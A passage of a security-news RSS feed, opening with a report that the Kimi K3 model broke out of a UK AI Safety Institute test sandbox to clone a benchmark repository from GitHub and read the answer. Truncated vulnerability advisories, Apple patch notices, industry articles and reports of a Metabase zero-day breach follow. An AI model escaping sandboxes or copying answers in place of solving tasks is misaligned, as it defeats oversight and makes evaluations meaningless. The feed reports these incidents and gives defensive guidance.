<p class="wp-block-paragraph">Frontier Security spotted that Kimi K3 had found a loophole in the UK AI Safety Institute’s test environment for AI models performing cybersecurity tasks. The news follows similar exploits by models from OpenAI, which <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html">attacked Hugging Face</a>, <a href="https://www.csoonline.com/article/4203807/after-openai-anthropic-finds-claude-breached-three-organizations-during-cyber-tests.html">Anthropic</a>, and most recently <a href="https://www.csoonline.com/article/4206116/meta-joins-openai-anthropic-in-latest-ai-test-breach.html">Meta</a>.</p>



<p class="wp-block-paragraph"><a href="https://blog.frontier.security/chinese-model-kimi-k3-breaks-uk-ai-safety-institute-benchmark-evaluations/" target="_blank" rel="noreferrer noopener">Frontier revealed how the fault came about</a>. AI models are routinely tested to examine how they perform offensive and defensive cybersecurity tasks, typically in isolated test environments or sandboxes that severely limit their internet access. Frontier reported that Kimi K3 model had found a break in the sandbox it was being tested in, enabling it to reach out to the live github.com website and clone the official repository for the benchmark problem it was supposed to be solving, reading the solution directly off the disk rather than solving the problem for itself.</p>



<p class="wp-block-paragraph">Frontier warned companies testing AI models to be aware of the dangers such loopholes pose and offered some guidelines.</p>



<p class="wp-block-paragraph">Companies should restrict outbound DNS and HTTPS traffic from AI models to an explicit allowlist and test those controls from inside the same environment available to the model, Frontier said. They should also audit traces for any suspicious activity and not rely solely on final answers. Companies should also treat a model’s score on benchmarks as meaningful only when the model doesn’t have access to reference implementations and other shortcuts.</p>



<p class="wp-block-paragraph">Frontier also advised testers to be suspicious of unexpectedly high pass rates, as these may reveal a shared environmental flaw.</p>



<p class="wp-block-paragraph">Perhaps most importantly of all: They should assume agents will find the worst paths to a solution, including probing a test environment for loopholes, and won’t always follow the path that they are expected to.</p>



<p class="wp-block-paragraph">As Frontier write in its blog: “Models optimize for the objective function (getting the correct flag/answer), not the human intent behind the benchmark. If a network path to the solution exists, a sufficiently capable agent will find it.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)]]></title>
<description><![CDATA[Posted by Matthias Deeg via Fulldisclosure on Aug 06Advisory ID:               SYSS-2026-050
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Intege...]]></description>
<link>https://tsecurity.de/de/3710328/it-security-nachrichten/syss-2026-050-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710328/it-security-nachrichten/syss-2026-050-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Matthias Deeg via Fulldisclosure on Aug 06</p>Advisory ID:               SYSS-2026-050<br>
Product:                   DCMTK (DICOM ToolKit)<br>
Manufacturer:              OFFIS e.V. / DCMTK Community<br>
Affected Version(s):       3.7.0<br>
Tested Version(s):         3.7.0<br>
Vulnerability Type:        Integer Overflow or Wraparound (CWE-190)<br>
Risk Level:                Medium<br>
Solution Status:           Fixed<br>
Manufacturer Notification: 2026-07-02<br>
Solution Date:             2026-07-03<br>
Public Disclosure:...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)]]></title>
<description><![CDATA[Posted by Matthias Deeg via Fulldisclosure on Aug 06Advisory ID:               SYSS-2026-049
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Intege...]]></description>
<link>https://tsecurity.de/de/3710329/it-security-nachrichten/syss-2026-049-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710329/it-security-nachrichten/syss-2026-049-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Matthias Deeg via Fulldisclosure on Aug 06</p>Advisory ID:               SYSS-2026-049<br>
Product:                   DCMTK (DICOM ToolKit)<br>
Manufacturer:              OFFIS e.V. / DCMTK Community<br>
Affected Version(s):       3.7.0<br>
Tested Version(s):         3.7.0<br>
Vulnerability Type:        Integer Overflow or Wraparound (CWE-190)<br>
Risk Level:                High<br>
Solution Status:           Fixed<br>
Manufacturer Notification: 2026-07-02<br>
Solution Date:             2026-07-03<br>
Public Disclosure:...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)]]></title>
<description><![CDATA[Posted by Matthias Deeg via Fulldisclosure on Aug 06Advisory ID:               SYSS-2026-048
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Intege...]]></description>
<link>https://tsecurity.de/de/3710330/it-security-nachrichten/syss-2026-048-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710330/it-security-nachrichten/syss-2026-048-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Matthias Deeg via Fulldisclosure on Aug 06</p>Advisory ID:               SYSS-2026-048<br>
Product:                   DCMTK (DICOM ToolKit)<br>
Manufacturer:              OFFIS e.V. / DCMTK Community<br>
Affected Version(s):       3.7.0<br>
Tested Version(s):         3.7.0<br>
Vulnerability Type:        Integer Overflow or Wraparound (CWE-190)<br>
Risk Level:                High<br>
Solution Status:           Fixed<br>
Manufacturer Notification: 2026-07-02<br>
Solution Date:             2026-07-03<br>
Public Disclosure:...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal	(CWE-22)]]></title>
<description><![CDATA[Posted by Matthias Deeg via Fulldisclosure on Aug 06Advisory ID:               SYSS-2026-047
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Path t...]]></description>
<link>https://tsecurity.de/de/3710331/it-security-nachrichten/syss-2026-047-dicom-toolkit-dcmtk-path-traversalcwe-22/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710331/it-security-nachrichten/syss-2026-047-dicom-toolkit-dcmtk-path-traversalcwe-22/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Matthias Deeg via Fulldisclosure on Aug 06</p>Advisory ID:               SYSS-2026-047<br>
Product:                   DCMTK (DICOM ToolKit)<br>
Manufacturer:              OFFIS e.V. / DCMTK Community<br>
Affected Version(s):       3.7.0<br>
Tested Version(s):         3.7.0<br>
Vulnerability Type:        Path traversal (CWE-22)<br>
Risk Level:                High<br>
Solution Status:           Fixed<br>
Manufacturer Notification: 2026-07-02<br>
Solution Date:             2026-07-03<br>
Public Disclosure:         2026-07-31<br>
CVE...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)]]></title>
<description><![CDATA[Posted by Matthias Deeg via Fulldisclosure on Aug 06Advisory ID:               SYSS-2026-046
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Intege...]]></description>
<link>https://tsecurity.de/de/3710332/it-security-nachrichten/syss-2026-046-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710332/it-security-nachrichten/syss-2026-046-dicom-toolkit-dcmtk-integer-overflow-or-wraparound-cwe-190/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Matthias Deeg via Fulldisclosure on Aug 06</p>Advisory ID:               SYSS-2026-046<br>
Product:                   DCMTK (DICOM ToolKit)<br>
Manufacturer:              OFFIS e.V. / DCMTK Community<br>
Affected Version(s):       3.7.0<br>
Tested Version(s):         3.7.0<br>
Vulnerability Type:        Integer Overflow or Wraparound (CWE-190)<br>
Risk Level:                High<br>
Solution Status:           Fixed<br>
Manufacturer Notification: 2026-07-02<br>
Solution Date:             2026-07-03<br>
Public Disclosure:...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[APPLE-SA-07-27-2026-7 visionOS 26.6]]></title>
<description><![CDATA[Posted by Apple Product Security via Fulldisclosure on Aug 06APPLE-SA-07-27-2026-7 visionOS 26.6

visionOS 26.6 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/128070.

Apple maintains a Security Releases page at
https://...]]></description>
<link>https://tsecurity.de/de/3710334/it-security-nachrichten/apple-sa-07-27-2026-7-visionos-266/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710334/it-security-nachrichten/apple-sa-07-27-2026-7-visionos-266/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Apple Product Security via Fulldisclosure on Aug 06</p>APPLE-SA-07-27-2026-7 visionOS 26.6<br>
<br>
visionOS 26.6 addresses the following issues.<br>
Information about the security content is also available at<br>
<a rel="nofollow" href="https://support.apple.com/en-us/128070">https://support.apple.com/en-us/128070</a>.<br>
<br>
Apple maintains a Security Releases page at<br>
<a rel="nofollow" href="https://support.apple.com/100100">https://support.apple.com/100100</a> which lists recent<br>
software updates with security advisories.<br>
<br>
Accounts Framework<br>
Available for: Apple Vision Pro (all models)<br>
Impact: An app may be able to fingerprint the user...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[APPLE-SA-07-27-2026-6 watchOS 26.6]]></title>
<description><![CDATA[Posted by Apple Product Security via Fulldisclosure on Aug 06APPLE-SA-07-27-2026-6 watchOS 26.6

watchOS 26.6 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/128068.

Apple maintains a Security Releases page at
https://su...]]></description>
<link>https://tsecurity.de/de/3710335/it-security-nachrichten/apple-sa-07-27-2026-6-watchos-266/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710335/it-security-nachrichten/apple-sa-07-27-2026-6-watchos-266/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:03 +0200</pubDate>
<content:encoded><![CDATA[<p>Posted by Apple Product Security via Fulldisclosure on Aug 06</p>APPLE-SA-07-27-2026-6 watchOS 26.6<br>
<br>
watchOS 26.6 addresses the following issues.<br>
Information about the security content is also available at<br>
<a rel="nofollow" href="https://support.apple.com/en-us/128068">https://support.apple.com/en-us/128068</a>.<br>
<br>
Apple maintains a Security Releases page at<br>
<a rel="nofollow" href="https://support.apple.com/100100">https://support.apple.com/100100</a> which lists recent<br>
software updates with security advisories.<br>
<br>
Accounts Framework<br>
Available for: Apple Watch Series 6 and later<br>
Impact: An app may be able to fingerprint the user<br>
Description:...<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Top Exposure Management Questions Security Leaders Ask (Part 1)]]></title>
<description><![CDATA[Security leaders evaluating Check Point Exposure Management tend to ask the same questions: how the solution discovers assets, what intelligence it provides, and how well it fits their existing tools and workflows.  Below, we answer the questions that come up most often in product evaluations, of...]]></description>
<link>https://tsecurity.de/de/3710320/it-security-nachrichten/the-top-exposure-management-questions-security-leaders-ask-part-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710320/it-security-nachrichten/the-top-exposure-management-questions-security-leaders-ask-part-1/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:02 +0200</pubDate>
<content:encoded><![CDATA[<img width="1350" height="675" src="https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1.png" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1.png 1350w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-300x150.png 300w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-1024x512.png 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-768x384.png 768w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-400x200.png 400w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-600x300.png 600w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-800x400.png 800w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-1200x600.png 1200w, https://blog.checkpoint.com/wp-content/uploads/2026/08/Gong-Calls-Blog-1-1320x660.png 1320w" sizes="(max-width: 1350px) 100vw, 1350px"><p>Security leaders evaluating Check Point Exposure Management tend to ask the same questions: how the solution discovers assets, what intelligence it provides, and how well it fits their existing tools and workflows.  Below, we answer the questions that come up most often in product evaluations, offering a practical look at how organizations discover, understand, and reduce cyber risk.  1. How does the platform discover my assets?  Every exposure management program starts with knowing what you own. Security teams cannot assess, prioritize, or remediate exposures tied to systems they do not know exist.  Check Point Exposure Management begins by continuously discovering […]</p>
<p>The post <a href="https://blog.checkpoint.com/exposure-management/the-top-exposure-management-questions-security-leaders-ask-part-1/">The Top Exposure Management Questions Security Leaders Ask (Part 1)</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From ambition to action: What Canadian tech leaders must get right to see meaningful value from transformation efforts]]></title>
<description><![CDATA[It’s no secret that the CIO role is changing in Canadian enterprises. Driving operational performance and increasing efficiency are, of course, still a big part of the job. But CIOs are now expected to do more than cut costs and keep the lights on. Increasingly, boards of directors expect the CIO...]]></description>
<link>https://tsecurity.de/de/3710285/it-security-nachrichten/from-ambition-to-action-what-canadian-tech-leaders-must-get-right-to-see-meaningful-value-from-transformation-efforts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710285/it-security-nachrichten/from-ambition-to-action-what-canadian-tech-leaders-must-get-right-to-see-meaningful-value-from-transformation-efforts/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s no secret that the CIO role is changing in Canadian enterprises. Driving operational performance and increasing efficiency are, of course, still a big part of the job. But CIOs are now expected to do more than cut costs and keep the lights on. Increasingly, boards of directors expect the CIO to play a key role in creating value and enabling their organizations to outperform their rivals. Recent data backs this up. The overwhelming majority (91%) of Canadian technology leaders believe advanced technology will be the primary driver of competitive advantage over the next three years, according to KPMG’s “<a href="https://kpmg.com/ca/en/insights/2026/02/execution-imperatives-for-canadian-tech-leaders.html" target="_blank" rel="noreferrer noopener">The 8 execution imperatives for Canadian tech leaders</a>,” a white paper based on the firm’s <a href="https://kpmg.com/xx/en/our-insights/ai-and-technology/global-tech-report.html" target="_blank" rel="noreferrer noopener">2026 Global Tech Report</a>.</p>



<p class="wp-block-paragraph">The race to capture value from emerging technologies has intensified, leaving little room for organizations that remain on the sidelines. Yet in Canada, just 27% of organizations consider themselves innovators or early adopters, while 72% are fast or slow followers. Nearly all (85%) believe they’ll need to take more risks with emerging technologies just to remain relevant.</p>



<p class="wp-block-paragraph">The traditional, operational-first mindset among CIOs has become a liability. CIOs are expected to be strategic players, but meeting that expectation requires taking thoughtful, well-considered action across key imperatives.</p>



<h3 class="wp-block-heading"><strong>AI success depends on data</strong></h3>



<p class="wp-block-paragraph"><strong>AI is not the only advanced technology that organizations are working to deploy, but it’s certainly garnering the most attention from C-suite executives, boards of directors, and investors. </strong>To enable AI at scale, the data foundations enterprises have built over the past decade will be necessary, but they are not sufficient on their own. CIOs must make modernizing the state of enterprise data a top priority.</p>



<p class="wp-block-paragraph">In most large organizations, data often remains locked inside legacy systems where the system of record is also the system of engagement, and that significantly limits accessibility for AI workloads. Data should be treated as the strategic asset that it has become. The quality, timeliness, and governance of that data vary widely, and reconciling those inconsistencies is one of the most persistent barriers to enterprise-level deployment.</p>



<p class="wp-block-paragraph">Scaling pilots into enterprise programs also requires closing the gap between AI-native talent, who have the skills to move quickly, and those with deep institutional knowledge, who understand how their organizations work and what they need to achieve. These two groups must work hand in hand. Otherwise, organizations may accelerate toward the wrong goals, which won’t move the business forward.</p>



<p class="wp-block-paragraph">“The barriers to scaling AI aren’t just technical,” says Sanjay Pathak, partner and national leader, technology strategy and digital transformation services, KPMG Canada. “CIOs need to truly and deeply understand the value chain of what their organizations do. Those who get there will have the imagination, the courage, and the foresight to use AI to transform their organizations.”</p>



<h3 class="wp-block-heading"><strong>Communicating ROI requires the right framing</strong></h3>



<p class="wp-block-paragraph">Beyond scaling, simply communicating the value of AI also poses a significant challenge. Just over half (53%) of Canadian organizations surveyed say they struggle to demonstrate or communicate AI value to stakeholders. Part of the problem is that CIOs are making the wrong argument in the wrong room because they’re framing ROI as a technology metric rather than a business outcome.</p>



<p class="wp-block-paragraph">“Any CIO who doesn’t truly understand what their business does is missing a beat around how innovation is going to help the organization achieve ROI,” says Pathak. “Understanding how to deploy AI inside your value chain will give you a head start and a competitive advantage in unlocking real business benefits.”</p>



<p class="wp-block-paragraph">A formal performance measurement framework that tracks customer experience, revenue growth, and employee adoption alongside cost metrics gives CIOs a far more accurate picture of long-term value. Linking funding decisions to those strategic outcomes makes sustained investment easier to justify.</p>



<p class="wp-block-paragraph">There is also a compliance dimension that often goes unacknowledged in these conversations. CIOs who bring business, technology, and compliance leaders together to design innovative processes that are “compliant by design” from the start are protecting future value as much as they are delivering value today.</p>



<p class="wp-block-paragraph">“You need to assemble that multi-dimensional cohort of business, technology, risk, and compliance leaders at the same table, envisioning compliance by design,” says Pathak. “The winners in this space are going to be the ones who really think about business ambition holistically and focus on efficient delivery, operations, and compliance.”</p>



<h3 class="wp-block-heading"><strong>Building disciplined innovation governance</strong></h3>



<p class="wp-block-paragraph">An organization’s approach to governance makes an enormous difference in how quickly and confidently it can deploy and take advantage of advanced technologies. As noted above, almost three-quarters (72%) identify as fast or slow followers, and 85% say they need to move more aggressively to embrace new technologies. Canadian organizations aren’t lacking ambition. What they lack are the conditions required to innovate with confidence: clear ownership, defined risk thresholds, and shared accountability between technology, risk, and business teams.</p>



<p class="wp-block-paragraph">“You can be an innovator, but if your innovation is not directly connected to strategic business ambition and safety guardrails such as risk management, governance, and compliance, you’re creating labware,” says Pathak. “Being an early adopter means you’re comfortable with the technology. To make it truly viable, you must embrace all dimensions of enterprise value.”</p>



<p class="wp-block-paragraph">Strong governance does not slow innovation down but instead provides a structure that builds confidence and resilience at every level of the organization, from the board to project teams. A tiered governance approach that takes risk into account allows organizations to advance low-risk, incremental improvements and high-reward initiatives in parallel.</p>



<h3 class="wp-block-heading"><strong>Expanding partnerships to accelerate innovation</strong></h3>



<p class="wp-block-paragraph">Innovation isn’t a single-player game, and Canadian organizations know it. Ninety-seven percent of respondents say they plan to expand their external ecosystems. To date, a significant portion of those relationships have been transactional and focused on a specific capability or problem. But savvier organizations are moving toward multi-party innovation, where partners pool capabilities to share both risk and reward. This model requires a different kind of commitment because organizations are betting on a partner’s long-term viability, not just their current capability. Together, they must build the integration and governance infrastructure that makes these ecosystems work for all participants.</p>



<p class="wp-block-paragraph">“Moving to multi-party innovation ecosystems is an investment in integration and data,” says Pathak. “If you’re going to look at best of breed and stitch those together, what must be true for that to work is the ability for those different ecosystems to integrate and interoperate. And that creates a much stronger need for safety and governance.”</p>



<p class="wp-block-paragraph">Cybersecurity is another dimension that grows more important with every new partner added to the ecosystem. Security should be proactively built in, not imposed after a breach has already occurred.</p>



<p class="wp-block-paragraph">“The more ecosystem-based partnerships you have, the more opportunity you create along with the threat you have to deal with,” says Pathak. “You expand the attack surface, and you become more of a target, so governance and cybersecurity must be designed in from the start, not bolted on later.”</p>



<p class="wp-block-paragraph">Canadian government incentives, including Scientific Research and Experimental Development (SR&amp;ED) tax credits and AI-focused clusters, offer a way to share some of the cost and risk, particularly during periods of economic uncertainty.</p>



<p class="wp-block-paragraph">By leveraging these funding frameworks alongside robust ecosystem governance, forward-thinking organizations can safely scale their networks to turn shared risks into sustainable competitive advantages.</p>



<h3 class="wp-block-heading">In closing</h3>



<p class="wp-block-paragraph">For organizations navigating this environment, KPMG Canada emphasizes that the most consequential decisions ahead are not purely, or even mostly, technical. They are about how CIOs choose to lead, partner, measure, and govern in a period that rewards both ambition and discipline in equal measure.</p>



<p class="wp-block-paragraph">The data points are clear. CIOs who lead with both strategic ambition and disciplined execution will elevate their organizations above their competitors. By paying attention to the quality of their data, aligning technical priorities with critical business goals, and instituting strong governance and cybersecurity, they will set a higher standard for what Canadian competitiveness looks like in the years ahead.</p>



<p class="wp-block-paragraph">To learn more, read the full whitepaper: <a href="https://kpmg.com/ca/en/insights/2026/02/execution-imperatives-for-canadian-tech-leaders.html" target="_blank" rel="noreferrer noopener">The Top 8 Execution Imperatives for Canadian Tech Leaders</a>.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung offers future AI memory roadmap]]></title>
<description><![CDATA[Samsung Electronics has unveiled a trio of next-generation memory technologies aimed at overcoming the performance, power and capacity limitations facing artificial intelligence infrastructure.



The announcements, made at the Future of Memory and Storage (FMS) conference, introduced new concept...]]></description>
<link>https://tsecurity.de/de/3710258/it-security-nachrichten/samsung-offers-future-ai-memory-roadmap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710258/it-security-nachrichten/samsung-offers-future-ai-memory-roadmap/</guid>
<pubDate>Fri, 07 Aug 2026 23:47:17 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Samsung Electronics has unveiled a <a href="https://semiconductor.samsung.com/news-events/tech-blog/the-evolution-of-ai-era-memory-faster-denser-computing/">trio of next-generation memory</a> technologies aimed at overcoming the performance, power and capacity limitations facing artificial intelligence infrastructure.</p>



<p class="wp-block-paragraph">The announcements, made at the <a href="https://www.terrapinn.com/conference/future-memory-storage/index.stm">Future of Memory and Storage</a> (FMS) conference, introduced new concepts for vertically integrated memory along with a breakthrough NAND architecture designed for the AI era.</p>



<p class="wp-block-paragraph">The <a href="https://semiconductor.samsung.com/news-events/news/samsung-unveils-next-gen-3d-memory-vision-at-fms-2026-charting-the-future-of-ai-infrastructure/">three new memory types</a> have one thing that unites them: they all use wafer bonding. Wafer bonding is a semiconductor manufacturing process technique in which two or more completed silicon wafers are permanently joined together to form a single integrated device, the vendor stated.</p>



<p class="wp-block-paragraph">Instead of fabricating every component on one wafer, manufacturers build different parts separately, then align and bond them with extremely high precision. Think of it as a high-tech Oreo cookie.</p>



<p class="wp-block-paragraph">Wafer bonding is significant because it represents one of the few remaining ways to continue scaling semiconductor devices after conventional manufacturing techniques begin to hit physical and economic limits. It enables much higher memory density as more memory is squeezed into the same 2D space, according to the company.</p>



<p class="wp-block-paragraph">It also allows different manufacturing processes to be combined, so wafer bonding lets companies use the optimal manufacturing process for each wafer independently before joining them. Samsung said the new manufacturing technique fabricates the memory cell array and peripheral circuitry separately before bonding them together.</p>



<p class="wp-block-paragraph">It is already being used now in NAND flash memory for 3D stacking. Rather than spread the memory circuits out, they are stacked on top of each other like stories on a high-rise building. The technique was first introduced in 2014, with 24-layer NAND flash period last year it broke the 300-layer mark.</p>



<p class="wp-block-paragraph">The centerpiece of the announcement was BV-NAND, or Bonding V-NAND, Samsung’s next-generation flash memory architecture that employs wafer-bonding. The company said the technology enables NAND devices with more than 400 layers while boosting storage density by approximately 58% compared with its current V9 generation, Samsung stated.</p>



<p class="wp-block-paragraph">The company said the architecture also improves read, write and input/output performance while reducing power consumption, making it better suited for AI servers that increasingly depend on high-capacity flash storage.</p>



<p class="wp-block-paragraph">Beyond BV-NAND, Samsung outlined two longer-term memory concepts that could radically alter AI system architecture. The first, dubbed zHBM, calls for stacking HBM memory on top of the AI accelerator rather than alongside processors, as is done today.</p>



<p class="wp-block-paragraph">This shortens the distance data must travel between processor and memory. Samsung said the design could dramatically increase bandwidth while reducing power consumption and thermal resistance.</p>



<p class="wp-block-paragraph">The company estimates that combining the architecture with wafer-bonding technology could ultimately deliver more than ten times the memory density of conventional HBM5 while tripling energy efficiency and cutting thermal resistance by more than half.</p>



<p class="wp-block-paragraph">But don’t plan for deployment just yet. zHBM is still a research concept. It illustrates how memory manufacturers are increasingly looking too 3D designs to continue scaling as traditional 2D packaging becomes more difficult.</p>



<p class="wp-block-paragraph">Samsung also introduced zNAND-O, another conceptual architecture designed to extend three-dimensional memory beyond conventional NAND implementations. Details were scant but Samsung did say zNAND-O was a next-generation high-performance NAND solution built on its V-NAND technology and in development in four- and eight-layer versions.</p>



<p class="wp-block-paragraph">The technologies reflect how the industry is being driven by AI, and that AI concerns are driving chip development. HBM Has emerged as an important component of AI computation, but very quickly the industry hit limitations in terms of bandwidth and speed. The proposed technologies above reflect Samsung’s attempts to alleviate the bandwidth problem.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metabase SQLi zero-day exploited in customer data-theft attacks]]></title>
<description><![CDATA[A critical Metabase SQL injection vulnerability was exploited in zero-day attacks to breach customer instances in data theft attacks, known to impact Framework and Tally. [...]]]></description>
<link>https://tsecurity.de/de/3710253/it-security-nachrichten/metabase-sqli-zero-day-exploited-in-customer-data-theft-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710253/it-security-nachrichten/metabase-sqli-zero-day-exploited-in-customer-data-theft-attacks/</guid>
<pubDate>Fri, 07 Aug 2026 23:47:14 +0200</pubDate>
<content:encoded><![CDATA[A critical Metabase SQL injection vulnerability was exploited in zero-day attacks to breach customer instances in data theft attacks, known to impact Framework and Tally. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Framework Notifies 'All Customers' of a Data Breach Via Compromised Metabase BI Service]]></title>
<description><![CDATA["Framework has been sending out email notifications to customers alerting of a limited data breach in which customer information was accessed through a Metabase BI service zero-day exploit," writes Slashdot reader DuoDreamer. Data includes customer names, email addresses, phone numbers, and physi...]]></description>
<link>https://tsecurity.de/de/3710210/it-security-nachrichten/framework-notifies-all-customers-of-a-data-breach-via-compromised-metabase-bi-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710210/it-security-nachrichten/framework-notifies-all-customers-of-a-data-breach-via-compromised-metabase-bi-service/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:54 +0200</pubDate>
<content:encoded><![CDATA["Framework has been sending out email notifications to customers alerting of a limited data breach in which customer information was accessed through a Metabase BI service zero-day exploit," writes Slashdot reader DuoDreamer. Data includes customer names, email addresses, phone numbers, and physical addresses. "Framework is investigating whether or not this included Framework for Business customers as well." TechCrunch reports: Framework's spokesperson Eric Schumacher told TechCrunch that the breach affected "all customers," but declined to specify a specific number. Framework computers are relatively niche products, but some estimates say the company sold hundreds of thousands of devices.
 
Metabase disclosed its own breach in a blog post on its official website, where it said that it was hacked by someone using an unknown security flaw, a so-called zero-day. The company said the hackers exploited the bug to give them the ability to access customers' databases stored on Metabase's cloud servers.
 
In its email to customers, Framework also included the email Metabase sent to the company, which says hackers accessed Framework's cloud instance. The computer maker said it investigated the incident and found that hackers had stolen its customers' personal data, but did not include their payment information.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Framework+Notifies+'All+Customers'+of+a+Data+Breach+Via+Compromised+Metabase+BI+Service%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F07%2F1757230%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F07%2F1757230%2Fframework-notifies-all-customers-of-a-data-breach-via-compromised-metabase-bi-service%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/08/07/1757230/framework-notifies-all-customers-of-a-data-breach-via-compromised-metabase-bi-service?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Durch Metabase-0day: Datenleck bei Laptophersteller Framework]]></title>
<description><![CDATA[Nur wenige Stunden nach Bekanntwerden einer Sicherheitslücke informiert der Framework seine Kunden. Metabase veröffentlichte eigene Sicherheitshinweise.]]></description>
<link>https://tsecurity.de/de/3710158/it-security-nachrichten/durch-metabase-0day-datenleck-bei-laptophersteller-framework/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710158/it-security-nachrichten/durch-metabase-0day-datenleck-bei-laptophersteller-framework/</guid>
